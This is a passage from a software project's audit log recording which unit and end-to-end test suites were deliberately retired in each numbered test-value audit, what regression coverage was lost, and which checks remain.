suites;35 authored/36 finite potential registrations remain in the combined reviewed scopes. Literal table potential counts are not executions. This source-only reduction has no equivalent replacement, fresh runtime result or merge credit. Root unit discovery deliberately loses entire message-row filtering/chunk reconstruction, discussion-pagination rejection passthrough, Linear bearer/stack redaction, new-profile telemetry/default/existing-JSON no-op, WSL user-trigger routing, terminal-delivery refusal, native-chat worker-approval UI, followup-paste routing, live-surface tombstone refusal, activity-bar hydration, fabricated approval-caller policy, child-PATH transformation and branch-review URL/identity suites. It also loses cache roundtrip/mode/fingerprint/fallback/no-op samples; GPU field-shape privacy examples; older auth-probe failure retention; orphan SQLite-sidecar/future-schema admission; usage tie/duplicate/composite-key examples; allocation-name sanitizer/unknown-prefix examples; real worker-and-backup preflight wrapper smoke; and JSONL descriptor-loop truncation. The discussion page contained id-only discussions without notes, so its rejection did not prove a nonempty notes-prefix oracle. The preflight did launch actual worker/backup entrypoints with production internal self-validation; removing its revision/version wrapper deliberately retires that real-entry smoke alarm. The skipped-prefix JSONL keeper rewrites/grows after collecting the suffix and before final validation, not concurrently during parsing. Retained queue rejection/recovery and held/drain mechanisms, recorder nonsettling-provider deadline, corrupt authoritative-DB refusal, legacy cache split migration, merge-added-row indexing, external-frame redaction, and pinned JSONL read/verification/mutation checks are bounded concrete oracles, not equivalent replacements for retired alarms. The full cloud relay cohort/ceiling/control suite is separately removed from the relay package runner, outside root unit discovery; no cloud runtime result is claimed. The Python computer-use benchmark remains unchanged tooling with zero authored/removal credit; no native benchmark trial ran. The package skill-sharing release selector drops only the exact already-deleted skills-suite token, with zero additional removal credit. Prior dated receipts, raw gaps, and complete earlier161/98/history notes remain exactly at their original scopes; no changed-source historical receipt becomes fresh reduced-suite evidence. Included approved26 alarm account: Broad root-unit discovery loses entire ref-label string, hostile/malformed CSV-link rendering, Codex filename-discovery, mocked paged-preview postscan mutation, usage path-containment, real symlink-ancestor, Codex skip RPC, local/remote inference routing, width-preference, and synthetic workspace-document input suites. It also loses the hand-assembled sorted CSV edit example, connect-time JPEG seed and invalid AVCC guard samples, and eight-record/64KiB detector boundary cases. The symlink suite exercised actual kernel traversal; its lost ancestor alarm could omit supplemental local editor watches and leave content stale, not bypass authorization. Retained linked stream cancellation, preview-only save fence, failed-flush dirty-draft preservation, clipboard byte/edit preservation, fragmented AVCC parsing and independent quoted-CSV interpretation checks do not replace these deliberately retired alarms. The stream fixture uses an in-memory source and does not establish actual fd cleanup; editor save endpoints are synthetic, browser events are synthetic, and no native focus, actual remote delivery, real disk write, cross-platform execution or interoperability is claimed. Earlier complete dated receipts, raw known gaps and previous notes are historical evidence at their original source/selector scope, not fresh evidence for this reduced suite. Audit3438 composes ROOT-adopted3434/independent3436: intentionally removes60 authored/62 potential expanded cases across16 sources, deleting9 whole suites. Eight authored/eight potential cases remain; delete the102line unused ACP fixture and57line unused teardown helper with zero test credit. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses ACP model-catalog fixtures, resume-record projections, dashboard mock payload/state cases, mobile folder/launch/session examples and dictionary pipeline rows. Selected E2E removals also retire auto-conversion and golden-core journeys and one Windows CLI conversion registration. Retain ACP reply text across a resumed subagent, both VAD checks, focused tab send ownership, async focus ownership in happy-dom, the question-skip journey, the original managed Windows CLI lifecycle journey and dictionary substitution. These checks do not replace the removed alarms. Audit3470 composes ROOT-approved AUTHOR3466/PEER3467 source proposal: intentionally removes38 authored registrations/59 finite potential expansions, including8 whole registering suites, retaining13 authored registrations/18 finite potential expansions. The sole dead shell-recipe caller cleanup has zero additional test credit. No equivalent replacement, fresh runtime or merge credit is claimed. Broad root-unit discovery loses process-import boundary, Korean/Japanese locale policy, worker-reset, mobile agent-history/queued-message and median-summary suites, plus packaged mobile-manifest, worker-pool fixture, HTML preview, mobile shell and terminal samples. The environment-provider contract and its sole shell-recipe caller are deleted. Separate cross-version-wire discovery loses the large byte-budget fresh-snapshot/replay sample while retaining independent live same-revision note publication; the retained terminal stale-refresh and dirty HTML draft persistence checks do not replace removed alarms. The source4 unused start/stop fixture hooks are removed; its retained nested failed-import test remains byte-exact with its own lifecycle. Unchanged SVG preview and Git-resolution registrations stay intact. Root balanced CI excludes the cross-version directory, which has a separate job; unbalanced root discovery can include its parent. No native app/device, actual remote, released-pair interoperability or cross-platform execution result is claimed. Audit3468 accepted source proposal AUTHOR3462/PEER3463, composed privately by audit3469: removes62 authored registrations/95 finite potential expansions, including5 whole suites, retaining25 authored registrations/29 finite potential expansions. ROOT approved source value; no equivalent replacement, fresh runtime or merge credit is claimed. Broad root-unit discovery loses the profile-state worker smoke, worker-agent views and three search discovery suites, plus samples from node-server qualification, skill-bundle generation, CLI hooks/profile/recovery/offline admission, permission-hook holds and search indexing. The separate Cloud relay runner loses one relay blackbox sample; unchanged mobile native-chat and dependent-transcript drivers remain. Retained source callback/table/ancestor/fixture bytes bind to the sealed candidate. No physical-device, mixed-version, remote, cross-platform or app execution result is claimed. Audit3460 final-v2 composes accepted AUTHOR3454/PEER3455 on actual post263 main: intentionally removes99 authored/106 potential expanded cases across16 selected drivers, including7 whole suites, retaining24 authored/26 potential cases. No equivalent replacement or fresh runtime is claimed. Broad root-unit discovery loses whole cross-client workspace-sync, terminal-preview, picker-skill-hint and close-routing suites plus reduced worker-stop, remote-owned-record, scanner, mobile-bundle and daemon-health samples. Separate E2E discovery also loses the paired mobile/desktop mirror journey and two unit drivers. Retained callback/table/outer-loop/guard bytes are exact; retained checks do not replace the removed alarms. No app, native device, mixed-version, remote or cross-platform execution result is claimed. Audit3456 composes ROOT-adopted3449/independent3450: intentionally removes62 authored/82 potential expanded cases from16 selected drivers, including7 whole suites, while13 authored/13 potential cases remain. Delete the unused48line legacy workspace-session JSON fixture with zero test credit. These are source-only reductions without equivalent replacement or fresh runtime claims. Broad unit discovery intentionally loses whole trust-dialog observer, background-turn notifications, redirected session refusal, typed-agent identity, chat-tab lifetime-cost, model-manager and mobile diff-review controller suites, plus individual persistence, synthetic composition, pairing, manifest and subprocess samples. Retain deferred snapshot dirty-domain persistence, two direct editor ownership cases, stream counter-domain distinction, two persisted pairing identity cases, parser entrypoint asymmetry, dictation retry and process-group timeout; paired restart and packaged old-binary/corrupt-profile journeys remain in their E2E driver scope. Retained checks do not replace removed alarms. No fresh execution, native IME/microphone, real authentication, mixed-version/platform or performance result is claimed. Audit3451 composes ROOT-adopted3444/independent3445: intentionally removes101 authored registrations across16 reviewed sources, deleting7 whole suites and reducing8; one reviewed source is unchanged. Fresh main has123 authored registrations before and22 after because an upstream direct-child shell regression remains verbatim with zero removal credit. Registered removals are100+7*S and explicit-active removals99+7*S, where S is the unprobed count0..3 of admitted bash/zsh/fish shells. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses extra stream lifecycle/forwarding examples, unreadable-store/cache projections, orchestration presentation/benchmark cases, remote-owned routing matrices, mobile legacy navigation and model-catalog listing/cache examples. Whole suites retire renderer client-event projections, manually assembled structured-session reader ownership, mobile prompt presentation, renderer AI-vault resume commands, mobile Jira URL lookup, composer retention and mobile folder source-repository queries. Retained checks preserve original stream/store/orchestration/routing/navigation/catalog cases and shell behavior, including the upstream direct-child case. No real provider, native desktop or mobile acceptance is established by this reduction. Audit3446 composes ROOT-adopted3441/independent3442: intentionally removes100 authored registrations/119 potential expanded cases (118 conditional-active before platform gates) across16 sources, retaining11 authored/13 expanded cases and deleting6 whole suites. Two parent registrar import/call cleanups and the unused68line CLI recording fixture carry zero test credit. No equivalent replacement or fresh execution is claimed. Broad unit and mobile discovery loses interrupt/wake registrars, task storage/session-close/account snapshot hooks, permission tables, copy/preference/model-discovery/composer examples, launch placement examples, VM projections and extra mobile-history scenarios. Retained checks cover abandoned versus dispatched fork uncertainty; /fast dispatch supersession; discovery lock release after exit; stale-send draft preservation; OSC status lifetime; future-version file preservation; launch cancellation before/during dispatch on both layout owners; mobile resume addressability before hooks; and recipe snapshot cleanup after plugin removal. The paired browser-link Electron source is unchanged. Terminal launch seams, mobile roles-only history and injected provider results do not establish native terminal destruction, transcript text fidelity or real remote provider cleanup. Audit3437 composes ROOT-adopted3431/independent3432: intentionally removes127 authored/174 potential expanded cases across12 sources, deleting7 whole suites and one267line unused helper without test credit. Retain8 authored/13 potential cases. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses reduced or deleted relay, coordinator mail, recovery watchdog, automation observer, launch picker, folder PTY, profile restart, web migration, retirement, pointer delivery, agent-row and run-bound mailbox examples. Retained checks cover relay hello/payload and SIGTERM drain, coordinator pending-check and clear-to-Run continuity, profile persistence, the full six-row web merge table and real run-bound delivery waiter. These do not replace removed alarms. Audit3429 composes root-adopted3426/independent3427: intentionally removes168 authored/205 potential expanded cases across16 semantic sources, deleting11 whole suites and one304line unused assertion helper. Five authored/five potential cases remain; the duplicate500k graph row is dropped while its50k row and callback remain. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses the adopted migration/recovery/federation/rich-draft/paste/automation/mobile/catalog examples. Keep server-edit preservation during migration, native supervised cancellation holding the agent home until physical stop, pagehide lost-text preservation, graph old-result WRAPPER WeakRef collection with50k rows, and mobile React render isolation. The WeakRef does not prove all commit objects are collectible or a memory budget. Audit3425 composes root-adopted3420/independent3421: intentionally removes83 authored/112 potential expanded registrations across13 semantic sources, deleting7 whole conventional suites and1 registering helper;7 authored/10 potential expanded cases remain. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses the adopted mock orchestration, refusal, restart and storage examples. Retain unchanged two-phase real-WSL deployment/survival, the reduced idle-release holder proof without restart/first-output measurement, real worker stop/release cleanup barrier rows, physical Git branch-preservation rows, and SSH disconnected-close proof. Other SSH and CLI variants and WSL telemetry/warmup churn are intentionally removed. Audit3417 composes root-adopted3415v2/independent3416v2: intentionally removes117authored/173potential expanded registrations from12semantic sources, deleting4whole conventional suites and3registration modules and retaining4authored/5expanded cases, without equivalent replacement or fresh execution. Broad root-unit discovery loses naming/title/queued-host fixtures, main-window focus-shortcut and attach-services mock orchestration, Git Bash console-capacity fake process inventories, most real-Git preparation/locking variants and Claude/Codex catch-up examples. Keep lifetime rejected-writer followed by late termination proof and autonomous real-checkout cleanup; two-row real-Git rollback after a real move preserving a replacement/admin marker or revoked permission; a live translator write during a held transcript read fencing stale Claude history append; and Codex expected-item revision rejection before a historical writer shim. Codex driver registers retained bounds exactly once with original inputs; bounds does not prove modern writer persistence. Accepted changed-lock preflight sentinel and omitted-parent routing losses are not replaced. Audit3413 composes root-adopted3405/independent3406 and3409/independent3410: intentionally removes337 authored registrations/363potential expanded cases from13sources, retaining31authored/32potential cases and deleting one whole clipboard suite, without equivalent replacement or fresh execution. Broad root-unit discovery loses35WSL examples,22STT examples,22shared-server-banner examples,18clipboard-handler examples (whole suite deleted),14VM lifecycle examples and16commit-message cancellation examples. Retain4WSL and7STT mocked connector/worker cases,1rendered stale-banner refusal,2VM guard/failed-compensation cases and1late-stream ownership cancellation case; real WSL/microphone/remote-provider proof is not established. Separately discovered e2e-unit drivers lose13cross-version-wire local cases and15mobile active-publication cases, keeping same-process disk-reopen/new-host cursor content/epoch/sequence outcomes and a host/renderer-snapshot selection and inventory revision race respectively. Imported released stop-note scenarios remain unchanged and receive no duplicate credit. Cloud suites are outside root UNIT_INCLUDE. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The broad root-unit command loses the UNIT_INCLUDE src/ subset of retired examples; mobile is outside UNIT_INCLUDE. Other lost alarms are recorded by the adopted per-case source reviews. Audit3390 composes root-adopted3382/independent3383 and3386/independent3387 and3388/independent3389: intentionally retires216 authored registrations/230 expanded cases in42 whole authored suites plus5 zero-case registration drivers, without equivalent replacement. Lost local alarms include fake PTY identity/routing/startup/replay/mode/title/mouse/IME/scroll matrices, broad startup identity and file-open wiring, mock mailbox title recovery, mobile row parity and whole-v-selective save parity. Retained24 registrations/26 expanded cases in22 suites preserve actual xterm Windows buffer/wrap/scroll, typed TOML scalar, real Promise cancellation/settlement, HTTP Codex scanner/projector semantics, durable recovery admission/newer-schema bytes, federation completion/ACK/SQLite atomicity and failed stale-run-write versus imported durable history. Additional retained clock-domain scheduling, durable freeze/ACK/checkpoint ordering, ABA dirty intent, SQL atomicity, folder-domain retier/last-note deletion, scrollback durable no-sync staging, PanelBridge subscriber lifetime and reserved-send publication preserve narrower concrete behaviors. Current finite owner drift assessed in bounded defining bodies; retained callback bytes unchanged. Historical notes and complete dated receipts keep their original exact scopes. No new execution, equivalent replacement, native focus/device/pixel, live remote or global mixed-version guarantee is claimed. Audit3381 composes root-adopted3376/independent3377 and3379/independent3380: intentionally retires436 authored registrations/670 expanded cases, including79 whole suites and12877 test lines, without equivalent replacement. Lost alarms include scheduling, account/host/status/filter/format inventories, microphone/image cleanup, title/bell/capability lifecycle routing, access/impersonation/outcome matrices, paste/input resend/ledger/retention, stale completions/reload containment, trust-read failure and popup OAuth/security/geometry vectors. Retained30 registrations/34expanded cases in22 suites preserve narrower SQLite TEMP/TZ/WAL, HTTP transcript root resume, mobile original-index Choose/Submit, child environment/Git lock expiry, stale ACK/PTY lifetime/peer fairness/durable replay/output ordering, actual DOM paste/editor focus, DEC2026 conservation, filesystem rollback, owned buffer lifetime, actual OSC parser/tracker handback, POSIX Python UTF8/fallback, durable trust concurrency/version, OpenSSH verdicts and hidden Chromium POST/route lifecycle. Mocked boundaries limit claims. Current bounded defining-owner reads preserve the retained oracles; captured identities are not full transitive semantic review. Both component blind pins authenticated before exchange; final reconciliation and explicit postpin3380reason correction supplement control, without retroactive blind claims. Root unit command excludes mobile and separately admitted Electron probes; use existing respective runners. No fresh execution, native focus/device/pixel UI, live SSH/remote, equivalent replacement or broad mixed-version/cross-platform validation is claimed. Prior dated receipts retain exact original scopes. Audit3375 composes root-adopted3370/independent3371 and3373/independent3374: intentionally retires79 authored registrations/84 expanded cases, including39 whole suites, without equivalent replacement. Lost alarms include federation field/parser inventories; Claude rejected-key precedence, credential clone redaction, managed-versus-user hook preservation and CLI defaults; setting/status/activity projections, mocked SSH/notification/reveal/Linear refusal, fake-clock reconnect and noise; image-fold artifact visibility, paste eligibility, setup trust, scripted ACP error-to-journal publication and ligature cache tuple aliasing; plus supplied folder-runner uniqueness, mobile host-overlay/credential/update/preference races, status/markup/title/keyed-row projections, subscriber cleanup, cancellation/close/refusal/link-issue and mirror suppression alarms. Retained3373 merger contiguity, dual-clock overdue-resume exactly-once, rejected-paste IPC sink and annotation schema roundtrip remain bounded. Retained actual HTTP/OSC status composition, destructive sibling-filesystem isolation, external contrast invariant and fixture CSS pixel intervention remain narrower. Original reviewed87authored/92expanded become9/9; current OpenCode suite adds two preserved upstream cases and the synthetic-title suite gained one Cursor policy mock-call case, independently reviewed for removal in root3378; current90/95 become11/11. That Cursor suppression/ready-frame regression alarm is intentionally lost; it does not observe native title ownership or tab flicker. For3370 only the peer was independently blind, with author exposure explicit;3373/3374 both blind pins were verified. This broad root unit command selects the reduced root unit suite; UNIT_INCLUDE excludes mobile tests, which require the existing mobile runner; retained Playwright component-pixel spec uses its separate existing headless fixture runner and is not validated by the broad unit command. No fresh execution, actual agent/shell/provider, OS material/focus, historical import equivalence, mobile, mixed-version or cross-platform evidence is claimed. All dated receipts retain their original scope. Audit3368 composes root-adopted3363/3364 and3367/3369: intentionally retires181 authored registrations/196 expanded cases, including28 whole suites, without equivalent replacement. Lost alarms include hibernation attention/liveness/backoff/sequential teardown and inventory, host launch compatibility/legacy/Kimi/resource cleanup, terminal recovery parser/pause/quarantine/remount, window-visibility omission-fence lifetime, launch-option rendered Start, sleeping-resume saved recipe/WSL quoting/cancellation, plus removed project/window/input variants. Additional tiny-suite losses include sentence/label/field/default inventories, credential omission, Windows argument/environment mapping, URI decoding, diagnostics, provider classification and fake-clock callback/parser examples. Retained ten registrations/twelve expanded cases include two literal Unicode Mn/Cf zero-width range guards in the actual character-range algorithm and protect narrower delayed editor bytes/destructive ownership, mounted hidden collision repair, ten transport epochs, duplicate-command refusal, caller timeout typing, executor unknown-opener refusal and failed-chunk user bytes. This broad unit command selects the reduced suite; no fresh runtime, real provider/network/PTY, filesystem restart, native UI, historical import equivalence, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3362 composes root-adopted3358/independent3360: intentionally retires129 authored registrations/140 expanded cases, including four whole suites, without equivalent replacement. Lost alarms include supplied orphan-adoption retry/malformed inventory/cancellation; fake-terminal replay parser/wedge/disposal callbacks; all-host catalog metadata and Windows preferences; host keepalive/protocol/stale/settings failures; and removed exact-stop/suppression, source save lifetime, diff-note queue, rename/editor close, input flood/chunk refusal/limits, purge and creation examples. Retained18 registrations/21 expanded cases protect narrower ownership, generation, dirty-state, queue convergence, encoding and attachment-lease outcomes. No replacement or keeper quota claim. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH/PTY/xterm parser, disk restart, native UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3359 composes root-adopted source3355/independent3356: intentionally retires130 authored registrations/139 expanded cases, including eight whole suites, without equivalent replacement. Lost alarms include strict create naming/capability/legacy payloads; supplied transport host replacement, deadline reattach, create-handoff and split activation; agent-session fork/clipboard/platform flags; shutdown cleared-scrollback/unmounted bindings; simulator host-collision/selection/shutdown; and removed editor, catalog, mutation, launch and status examples. Retained12 adverse-ordering/state-consequence cases are narrower and do not replace all removed alarms. Two queue absences receive zero removal credit. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH/PTY, filesystem restart, native UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3349 composes adopted batches3343,3345 and refreshed3354: intentionally retires234 authored registrations/294 expanded cases, including13 whole suites, without equivalent replacement. Lost alarms include supplied terminal reconnect/replacement/typeahead/mirror/result and snapshot examples; synthetic render-desync persistence/recovery; worktree listing/owner/catalog/lineage/removal and activation/creation examples; host-scoped PR and task-record projections; editor diff/status/comment and UI send-target examples; automation observation/wake, supplied sleep/deadline clock and native-chat completion/notification/relaunch samples; held-tab layout and cleanup/progress guard examples. Retained adverse-ordering and wire-boundary cases are narrower and do not replace all removed alarms. The already-upstream visibility-resume deletion receives zero new removal credit. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH, native process/power/GPU, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3342 composes adopted source batches3333/3334,3336/3337 and3340/3341: intentionally retires180 authored registrations/263 expanded cases, including seven whole suites, without equivalent replacement. Lost alarms include corrupt editor hydration; mobile editor/diff publication and privacy projections; stale-resubscribe routing; model-picker projection/refetch/retry/fallback; editor check-details and frame property inventories; latched-pane cleanup/quiescence; client create replay identity/options/compatibility; and removed owner, async routing, terminal and layout examples. Retained definitions do not replace these alarms. This broad root unit command selects the reduced suite; no fresh execution, historical source/import equivalence, real provider/network/SSH, rendered UI, durability restart, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts keep their original scope. Audit3335 composes adopted source unions3327/3328 and3330/3332: intentionally retires100 authored registrations/123 expanded cases, including ten whole suites, without equivalent replacement. Lost alarms include seeded host persistence/contention and stale-host cleanup; browser snapshot assembly; mocked wake/DPR callbacks and frame budgets; preflight projections; palette authority/cache suppression, URL intent and saved-title cross-repo collisions; metadata coverage/set patch and dropdown assembly; and removed terminal, worktree, review-refresh and owner-routing examples. Retained definitions do not replace these alarms. This broad root unit command selects the reduced suite; no fresh execution, historical source/import equivalence, real provider/network/SSH, rendered UI/GPU/focus, durability restart, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain only their original scope. Audit 3318 composes adopted sources 3310, 3313 and 3317: intentionally retires 71 authored declarations and 102 expanded cases, including whole terminal-detach agent-retention, seeded batch/single open-files equivalence, shallow context-menu shortcut-badge, mocked active-workspace delete-dispatch, workspace session hydration, SSH target cleanup, editor session hydration and worktree terminal purge suites. Lost alarms include chained transfer alias and immediate close/exit retention; batch/single divergence, survivor/selection/map preservation and input nonmutation across 400 imperative seeds (one registered case); disconnected pending-handle retry, authoritative absences/close-record shortcut/older-host absence and published-presence/unpublished-frame examples; published empty host-graph omission to pane exit; legacy search ranking/exclusion fallback; provider request upgrade/dedupe/finalizer ownership; asynchronous PR suppression/primary-change and same-number different-repository URL rejection. Deletion routing loses host/instance qualification, paired and legacy mapping, folder ownership, active-versus-hover/menu-row selection, ambiguity, modal/editable/creation/view/main/deleting/missing guards and shortcut advertisement. Unchanged real keyboard/hover/confirmation/catalog E2E remains narrower, not an equivalent replacement. Additional losses include scripted old-host disk/UTF-8/noop/baseline and landed/unlanded lost-reply/replacement-retry outcomes; ordinary/repeated healthy-link reattach; cross-owner terminal/chat binding; oversized replay permanent-unavailable classification; floating reveal keyboard ownership/close/disable/listener disposal; naming/retained-turn/Sleep/error/close/reject status tables; SSH membership prune/new-target-only reads and environment/local bucket isolation; same-frame receipt capacity and positive bare/headless publisher readmission. These actual regression alarms are deliberately lost; no fresh gate, provider, rendered, mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed. Audit 3312 composes adopted sources 3302 and 3308: deliberately retires 33 authored declarations and 36 expanded cases, including the whole backend startup-focus, active-browser IPC-close-routing, remote-browser-creation and agent-terminal-presence suites. Intentionally lost alarms cover distinct six-pane reconnect handles; SSH host label/Connect callback, unhydrated visit cleanup, repo cache aliases and hidden worktree/tab/PTY cleanup; adopted-agent startup focus and viewer navigation/reuse; staged, pageless, source, stale and orphan browser-close routing; web local-materialization refusal, desktop incapable-host fallback, failed/thrown remote creation and paired-web sign-in refusal; BOM/NUL and remote/local custom-editor byte-read examples; immediate folder activation and unread clearing; and batching idle/coalescing, accumulated byte ceiling, leading-edge-disabled, standalone synchronous oversize rejection, validation yield, deferred pending-tail order and both viewport-clear examples. The newly reintroduced agent-terminal-presence suite also loses actual terminal-status membership positive and nonterminal-status callback suppression alarms, including the recent 40916 guard regression; the older different 2133 presence-suite history remains historical and receives zero duplicate removal credit. These real regression alarms are intentionally lost. The unchanged survivors provide narrower coverage, with no equivalent replacement or fresh gate, provider, rendered, remote/mobile, mixed-version, cross-platform, soak or measured-budget validation claimed. Audit 3301 combines adopted source batches 3296 and 3299: retire 27 authored declarations and 36 expanded scenarios, including six whole suites. Intentionally lost alarms cover failed-verification/recovery/restart counters and mocked hosting/toast; early overlapping pane-read scheduling/count; unreadable removal listing draft guard; bulk-purge remote-qualified and raw-local guard maps; initial-snapshot blank/mode/oversize/printable/fresh-spawn callback and replay examples; fallback mobile file close and ordinary MRU; default queue overload/drain; seeded browser-page reuse and supplied missing-page URL recreation; ambiguous sleep/hibernation owner refusal and untouched bindings/origins; ordinary selection/activity/fallback priority; skip-remote success and retained hints; supplied structured-chat unsent retention and scoped removal draft eviction; caller-chat focus precedence; open/draft PR cache eviction and merged-head fallback result inventories. Retained adverse-ordering and ownership cases are narrower and do not establish equivalent replacements. No fresh runtime, native, physical provider, cross-platform, mobile or mixed-version evidence is claimed. Audit 3292 combines adopted 3285/3287/3289/3293 removals: 40 authored declarations and 47 expanded scenarios, including whole frame-editor-view, ambiguous remote-delete-refusal, unverifiable-host subscription and editor-close cleanup suites. The previously reviewed dock-badge suite was already removed upstream in PR 40895 and receives zero new removal credit. Intentionally retired alarms include background browser selection and last-tab landing; main startup fallback, SSH project cleanup/survivor routing, exact-PR contradiction/saved-push positives, replay/sidecar rollback and wrapped remote error normalization; records/snapshot missing-diff hydration, ambiguous folder-owner delete refusal, focus no-op notifications, nested editor context-only cache check, pending broadcast-first status and ordinary four-confirmation aggregation; preview-source frontmatter pruning, approved local/runtime agent dispatch, non-GitHub legacy PR cache invalidation, stale merged-head transient-error fallback, empty-queue immediate query reply and unverified-to-concrete preflight risk. Additional intentionally retired alarms are injected host subscription/unsubscribe counts, synthetic editor reveal/draft/fallback/scoped close, ambiguous unread refusals and hidden mark/read roundtrip, immediate connect backoff/noError, positive mirrored evidence-clock renewal, supplied VM failure/success projections and git-local/folder-SSH wake permutations. Remaining temporal/ownership cases are narrower; no equivalent replacement or fresh execution is claimed. Audit 3283 removes 20 authored declarations and 31 expanded scenarios, including two whole suites. Retired alarms cover PR refresh-state pruning, shared runtime subscription cleanup and store isolation, language content-change routing and older completion ownership, ordinary panel retry-timer cleanup and pending loading, four hosted-review lifetime permutations, mocked terminal creation error/order wiring, five sleep-inventory variants with pending-frame-only assertions, palette fallback/composite highlights, Windows/UNC encoded-editor input rows, mixed-repository partial failure counts, title setters and generated-title bypass/replacement, five window-close coordinator delegation/guard/finally branches, and ambiguous-old-record frame reveal. These regression checks are intentionally lost under the test-value audit; retained cases are not equivalent replacements. Prior coverage notes and receipts remain historical. Audit 3273 removes 14 authored declarations and 19 expanded scenarios across four whole suites and eight partial suites. Retired alarms cover saved-local cancellation/layout ownership, ambiguous-owner warning reset, folder attachment routing, VM false-capability bypass, abandoned reveal warmup cleanup and viewport claim deduplication/rearming, quiet unrelated remote-removal refusal, startup-command one-shot consumption, repository/floating recovery-ledger rows, fake-React pinned-scroll intent, split-ratio state identity/subscriber suppression and fractional change, cross-host project-group join refusal, three PR request-lifetime permutations, upstream-status preservation on error, and unresolved Git-owner refusal. These regression checks are intentionally lost under the test-value audit; retained scenarios are not equivalent replacements. Historical coverage receipts remain historical, including gate35 subscriber claims. Audit 3256 removes these specific alarms from the broad root unit commands: skill dialog active-share selection, close and pending-share handoff; simple keyed-record deletion; marker live-region insertion, simple landing and nine baseline policy examples; General search/control navigation inventory; orphan-count cache bootstrap; seven Codex code classifications and HTTP 429 warning mapping; two skill unread-root verdict examples; peer-mail payload and conversation-ID rejection; and the GitHub organization TABLE text-field optimistic rollback/failed-envelope example. These include real behaviors; retained tests do not provide equivalent coverage for every removed scenario. Mobile losses are recorded separately and are not coverage of these root commands. Audit3246 retires NewRowsMarker reveal/no-repeat and pane-scoped beforeinput checks; skill-owner option availability/count/dedup/order; six styled Input/Textarea IME forwarding rows; the static Codex/OpenCode smart-key inventory; tab-map AST ratchet diagnostic fixtures; child-roster work-budget and retained-aggregate alarms; malformed persisted floating-cwd fallback/no-crash/empty exact-root checks; the unanswered-host empty-list discriminator; the direct invalidated-cache commit-false assertion; one redundant digit-keyup IME row; cached non-supported Claude title-generator rows; and the duplicate late naming-result singleton. These root broad commands lose those specific alarms without equivalent replacement. Distinct retained owner/state checks have their own bounded claims; the real scheduler still rejects stale response data, while the direct false-return alarm is retired. Audit3231 retires supported-host restore-pane key mapping, closed/open creation-sidebar toggle visibility, unrelated scope-error/null classification and quick-submit reveal/no-create checks. These broad commands lose those real narrow alarms; no replacement coverage is claimed. Audit3219 removes the synthetic Cmd+J extra-source suite; this broad command no longer checks its match/tie placement and selection, announced count, empty-query cap, or workspace hiding with retained recent tabs. No replacement coverage is claimed. Audit3209 composes approved sources3202/3206: deliberately retires seven authored/expanded cases in four whole suites without equivalent replacement. Work-item queries lose real GitHub/GitLab oversized ASCII secret-prefix empty-query and whitespace-before-trim refusal alarms; inputs share the imported size bound and exercise only its fast length branch, with no multibyte or actual provider/exposure guarantee. Skill sharing loses complete/partial managed-bundle and destination-ambiguity association checks plus three negative origin/path/scheme admission examples; these do not establish uploaded contents, arbitrary-URL fetching, authorization or execution. Retain exact originless-project direct-link fallback, cloud-delete confirmation, bundled-target repair/owner isolation and explicit Windows-host preference over stale WSL suites. Rejected3201 runtime-preference removal is excluded. No real cloud/network/host/disk, mobile or mixed-version execution validation is claimed. Audit3200 composes approved source3194: deliberately retires thirteen authored registrations/twenty-seven expanded cases in six whole automation host/list policy suites without equivalent replacement. Real RPC category/retryability and wrapped-timeout recognition, unscoped-failure/scoped-success health evidence precedence, exact-ID create selectors and per-run workspace omission, paired-web local/SSH/absent host catalog routing, incompatible/removed/unhydrated/offline execution health, runtime-before-nested-SSH recovery dispatch, and no-owned-focus/successor/foreign-list focus policy alarms are consciously lost. Retain exact20line orphan allow/refuse/precondition and exact90line cross-host same-ID search suites. No retry-timer/fence lifecycle, actual reconnect/network/write delivery, native focus, mobile/mixed-version runtime or disk persistence coverage is claimed. Audit3191 combines approved source3182/3187/3188: deliberately retires thirteen authored Vitest registrations and fifteen expanded cases, including five whole suites, without equivalent replacement. Attachment intake loses real portal/native-capture terminal interception and unowned-container refusal, immediate child-only committed availability/claim-ref negotiation and delivery, and direct-target over stable focused/background composer routing through disable/re-enable/remount and independent question focus. Exact destination/cache/draft and final-stat owner/workspace/File-release suites remain; they do not replace Surface recipient routing. Automation authoring loses destination runtime catalog membership, local/direct-SSH exclusion of paired-runtime repos, unknown-runtime empty catalog, logical project/host/setup/repo/path context payload, and missing/nonready setup refusal; these were genuine direct helper alarms, while exact schedule transformation, legacy schedule and setup-decision suites remain. Agent picker loses setup-chat/terminal/missing-installer/unsupported-or-unknown-host row projection samples and the ordinary unsearched menu variant; the entire original26-line resume recipe suite remains, including reported bypass versus default/absent permission modes, as does the exact search-result menu callback with its fixtures, model/effort commits and staged Arguments reopen outcome. Rejected predecessor3180 full recipe deletion is excluded. No actual native drag/cursor/focus/IME, upload bytes or disk/restart persistence, full automation save/scheduler/runtime transport, real resume-process flags/environment delivery, or native menu/rendered layout validation is claimed. Audit3178 combines source3169/3170/3175: deliberately retires eight authored units (six Vitest cases and two imperative custom relay scenarios), including two whole suites, without equivalent replacement. Voice Section loses per-model pending-delete isolation across interleaved A/B completion and the two-success refresh-call alarm; exact VoicePane delayed key-clear/newer enabled-toggle merge remains and does not replace row deletion coverage. Speech loses dedicated rating-scale/inclusive-ceiling, unsupported-versus-unmeasured, explicit/system-language precedence/locale alias, accuracy versus fast named/default/best-measured 